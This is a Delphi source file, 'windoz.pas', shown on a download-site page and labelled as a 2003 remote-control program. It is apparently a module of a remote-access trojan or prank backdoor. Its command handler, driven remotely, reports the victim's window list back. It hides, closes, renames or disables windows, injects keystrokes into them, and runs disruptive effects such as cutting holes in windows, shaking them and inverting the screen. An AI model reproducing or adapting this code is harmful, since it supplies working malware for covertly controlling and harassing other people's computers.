⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 windoz.pas

📁 2003年的远程控制
💻 PAS
字号:
unit windoz;

interface

uses windows;

procedure WIN_showdefwindow;
procedure killall(par1:string);
function WIN_commands(comm,par1,par2:string):boolean;

implementation

uses sysutils,controls,forms,messages,
{wlasne}
main,siec,stale,toolz;

var defwindow:hwnd;

function EnumWindowsProc(WHandle: HWND; LParM: LParam): Boolean;stdcall;export;
var Title,ClassName:array[0..128] of char;
begin
 Result:=True;
 GetWindowText(wHandle, Title,128);
 GetClassName(wHandle,ClassName,128);
 if IsWindowVisible(wHandle) and (title<>'') then
 xsend(Inf_wininfo+inttostr(wHandle)+' '+title+'/'+classname+'/#'+inttostr(whandle))
 else
 xsend(Inf_wininfo3+inttostr(wHandle)+' '+title+'/'+classname+'/#'+inttostr(whandle));
end;

function EnumChildProc(WHandle: HWND; LParM: LParam): Boolean;stdcall;export;
var Title,ClassName:array[0..128] of char;
begin
 Result:=True;
 GetWindowText(wHandle, Title,128);
 GetClassName(wHandle,ClassName,128);
 if IsWindowVisible(wHandle) then
 xsend(Inf_childinfo+inttostr(wHandle)+' '+title+'/'+classname+'/#'+inttostr(whandle))
 else
 xsend(Inf_childinfo3+inttostr(wHandle)+' '+title+'/'+classname+'/#'+inttostr(whandle));
end;

procedure WIN_dziurkacz(par1,par2:string);
var wind:Hwnd;
    wreg,welip,wsuma:hrgn;
    wrect:trect;
    i,x,y,width,height,ile_dziur:integer;
const r=20;
begin
ile_dziur:=strtointdef(par2,20);
if ile_dziur>100 then ile_dziur:=100;
wind:=strtointdef(par1,128);
getwindowrect(wind,wrect);
width:=wrect.Right-wrect.Left;
height:=wrect.Bottom-wrect.top;
wreg:=CreateRectRgn(0,0,width,height);
wsuma:=CreateRectRgn(0,0,0,0);
for i:=1 to ile_dziur do
 begin
 x:=random(width); y:=random(height);
 welip:=createEllipticRgn(x-r,y-r,x+r,y+r);
 combinergn(wsuma,wreg,welip,rgn_Diff);
 Deleteobject(welip);
 combinergn(wreg,wsuma,0,rgn_Copy);
 end;
SetWindowRgn(wind,wsuma,true);
Deleteobject(wreg);
end;

procedure WIN_bigdziura(par1,par2:string);
var wind:Hwnd;
    wreg,welip,wsuma:hrgn;
    wrect:trect;
    r,x,y,width,height,rozmiar:integer;
begin
wind:=strtointdef(par1,128);
rozmiar:=strtointdef(par2,50);
if (rozmiar<0) or (rozmiar>100) then rozmiar:=50;
getwindowrect(wind,wrect);
width:=wrect.Right-wrect.Left;
height:=wrect.Bottom-wrect.top;
wreg:=CreateRectRgn(0,0,width,height);
wsuma:=CreateRectRgn(0,0,100,100);
x:=width div 2; y:=height div 2;
r:=(rozmiar*height) div 200;
welip:=createEllipticRgn(x-r,y-r,x+r,y+r);
combinergn(wsuma,wreg,welip,rgn_xor);
Deleteobject(welip);
SetWindowRgn(wind,wsuma,true);
Deleteobject(wreg);
end;

procedure WIN_usundziury(par1:string);
var wind:hwnd;
    wrect:trect;
    wreg:hrgn;
    width,height:integer;
begin
wind:=strtointdef(par1,128);
getwindowrect(wind,wrect);
width:=wrect.Right-wrect.Left;
height:=wrect.Bottom-wrect.top;
wreg:=CreateRectRgn(0,0,width,height);
SetWindowRgn(wind,wreg,true);
end;

procedure WIN_rollwindow(par1,par2:string);
var wind:hwnd;
    rect:trect;
    i,width,height,left,top:integer;
begin
wind:=strtointdef(par1,128);
GetwindowRect(wind,rect);
width:=rect.right-rect.Left;
height:=rect.Bottom-rect.top;
left:=rect.left;
top:=rect.top;
for i:=1 to 50 do
 begin
 setWindowPos(wind,0,left,top,width,height,SWP_SHOWWINDOW+SWP_NOZORDER);
 inc(left,5);
 inc(top,5);
 dec(width,10);
 dec(height,10);
 sleep(100);
 application.processmessages;
 if (width<10) or (height<10) then break;
 end;
width:=rect.right-rect.Left;
height:=rect.Bottom-rect.top;
setWindowPos(wind,0,rect.left,rect.top,width,height,{SWP_SHOWWINDOW+}SWP_NOZORDER);
end;

procedure WIN_quakewindow(par1,par2:string);
var wind:hwnd;
    rect:trect;
    i,width,height,left,top:integer;
begin
wind:=strtointdef(par1,128);
GetwindowRect(wind,rect);
width:=rect.right-rect.Left;
height:=rect.Bottom-rect.top;
left:=rect.left;
top:=rect.top;
for i:=1 to 50 do
 begin
 left:=rect.left+random(5)-10;
 top:=rect.top+random(5)-10;
 setWindowPos(wind,0,left,top,width,height,{SWP_SHOWWINDOW+}SWP_NOZORDER);
 sleep(100);
 application.processmessages;
 end;
width:=rect.right-rect.Left;
height:=rect.Bottom-rect.top;
setWindowPos(wind,0,rect.left,rect.top,width,height,SWP_SHOWWINDOW+SWP_NOZORDER);
end;

procedure WIN_enable(par1,par2:string);
var wind:hwnd;
begin
 wind:=strtointdef(par1,128);
 if t_zerojeden(par2) then enablewindow(wind,true)
  else enablewindow(wind,false);
end;

procedure WIN_mousetext(par1,par2:string);
var dc:hdc;
    i:integer;
begin
 par2:=par1+' '+par2;
 dc:=CreateDC('DISPLAY',nil,nil,nil);
 SetBKColor(dc,RGB(255,255,255));
 SetTextColor(dc,RGB(255,0,0));
 for i:=1 to 50 do
 begin
  TextOut(dc,Tpoint(Mouse.cursorpos).x,Tpoint(mouse.cursorpos).y,Pchar(par2),length(par2));
  sleep(100);
  application.processmessages;
 end;
 DeleteDC(dc);
end;

procedure WIN_menu(par1,par2:string);
var wind:hwnd;
    menu:hmenu;
begin
 wind:=strtointdef(par1,128);
 menu:=createmenu;
 appendmenu(getmenu(wind),mf_popup,menu,Pchar(par2));
// appendmenu(menu,MF_STRING,3333,pchar(par2));
 drawmenubar(wind);
end;

procedure killall(par1:string);
var wind:hwnd;
    petla:integer;
begin
petla:=0;
repeat
 wind:=findwindow(Pchar(par1),nil);
 if wind<>0 then begin
                 postmessage(wind,WM_QUIT,0,0);
                 sleep(100);
                 inc(petla);
                 end;
until (wind=0) or (petla>10);
end;

procedure WIN_sysmenu(par1,par2:string);
var wind:hwnd;
    menu:hmenu;
begin
 wind:=strtointdef(par1,128);
 menu:=getsystemmenu(wind,false);
 appendmenu(menu,MF_STRING,3333,pchar(par2));
end;

procedure WIN_invert(par1,par2:string);
var dc:hdc;
    rec:trect;
begin
  dc:=GetWindowDC(strtointdef(par1,128));
  SetRect(rec,0,0,Getdevicecaps(dc,horzres),getdevicecaps(dc,vertres));
  invertrect(dc,rec);
  deleteDC(dc);
end;

procedure WIN_SENDCHAR(wind:hwnd;char:integer);
begin
SendMessage(wind,wm_char,char,0);
end;

procedure WIN_SENDVK(wind:hwnd;char:integer);
begin
SendMessage(wind,wm_keydown,char,0);
end;

procedure WIN_SENDSTRING(wind:hwnd;s:string);
var i:integer;
begin
 for i:=1 to length(s) do
  SendMessage(wind,wm_char,ord(s[i]),0);
{ SendMessage(wind,wm_keydown,VK_RETURN,0);}
end;

function WIN_commands(comm,par1,par2:string):boolean;
var wind:hwnd;
begin
result:=true;
if comm='WCHILD' then
 begin
 wind:=strtointdef(par1,128);
 enumchildwindows(wind,@EnumChildProc,0);
 xsend(Inf_childinfo2);
 end
else if comm='TASKS' then
 begin
 xsend(Inf_taskstart);
 enumwindows(@EnumWindowsProc,0);
 xsend(Inf_wininfo2);
 end
else if comm='WRENAME' then
  setwindowtext(strtointdef(par1,128),Pchar(par2))
else if comm='WHIDE' then
 showwindow(hwnd(strtointdef(par1,128)),SW_HIDE)
else if comm='WSHOW' then
 showwindow(hwnd(strtointdef(par1,128)),SW_SHOW)
else if comm='WPOS' then
 showwindow(hwnd(strtointdef(par1,128)),strtointdef(par2,SW_SHOW))
else if comm='WSEND' then
 begin
 wind:=strtointdef(par1,128);
 WIN_SendString(wind,par2);
 end
else if comm='WTYPE' then
 begin
 wind:=strtointdef(par1,128);
 WIN_SendChar(wind,strtointdef(par2,0));
 end
else if comm='WVK' then
 begin
 wind:=strtointdef(par1,128);
 WIN_SendChar(wind,strtointdef(par2,0));
 end
else if comm='WSETFOCUS' then
 begin
 wind:=strtointdef(par1,128);
 SetForegroundWindow(wind);
 end
else if comm='WQUIT' then PostMessage(hwnd(strtointdef(par1,128)), WM_QUIT, 0, 0)
else if comm='WINVERT' then WIN_invert(par1,par2)
else if comm='WMENU' then WIN_menu(par1,par2)
else if comm='WSYSMENU' then WIN_sysmenu(par1,par2)
else if comm='WSKURCZ' then WIN_rollwindow(par1,par2)
else if comm='WQUAKE' then WIN_quakewindow(par1,par2)
else if comm='WSER' then WIN_dziurkacz(par1,par2)
else if comm='WDZIURA' then WIN_bigdziura(par1,par2)
else if comm='WBEZDZIUR' then WIN_usundziury(par1)
else if comm='WENABLE' then WIN_enable(par1,par2)
else if comm='TEXT' then WIN_mousetext(par1,par2)
else if comm='KILLALL' then killall(par1)
else if comm='WFLASH' then
 begin
 defwindow:=strtointdef(par1,128);
 showwindow(hwnd(defwindow),SW_HIDE);
 form1.timer1.Interval:=strtointdef(par2,0)*1000+1;
 form1.timer1.OnTimer:=form1.TimerShowWindow;
 form1.timer1.enabled:=true;
 end
else result:=false;
end;

procedure WIN_showdefwindow;
begin
showwindow(defwindow,SW_SHOW);
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -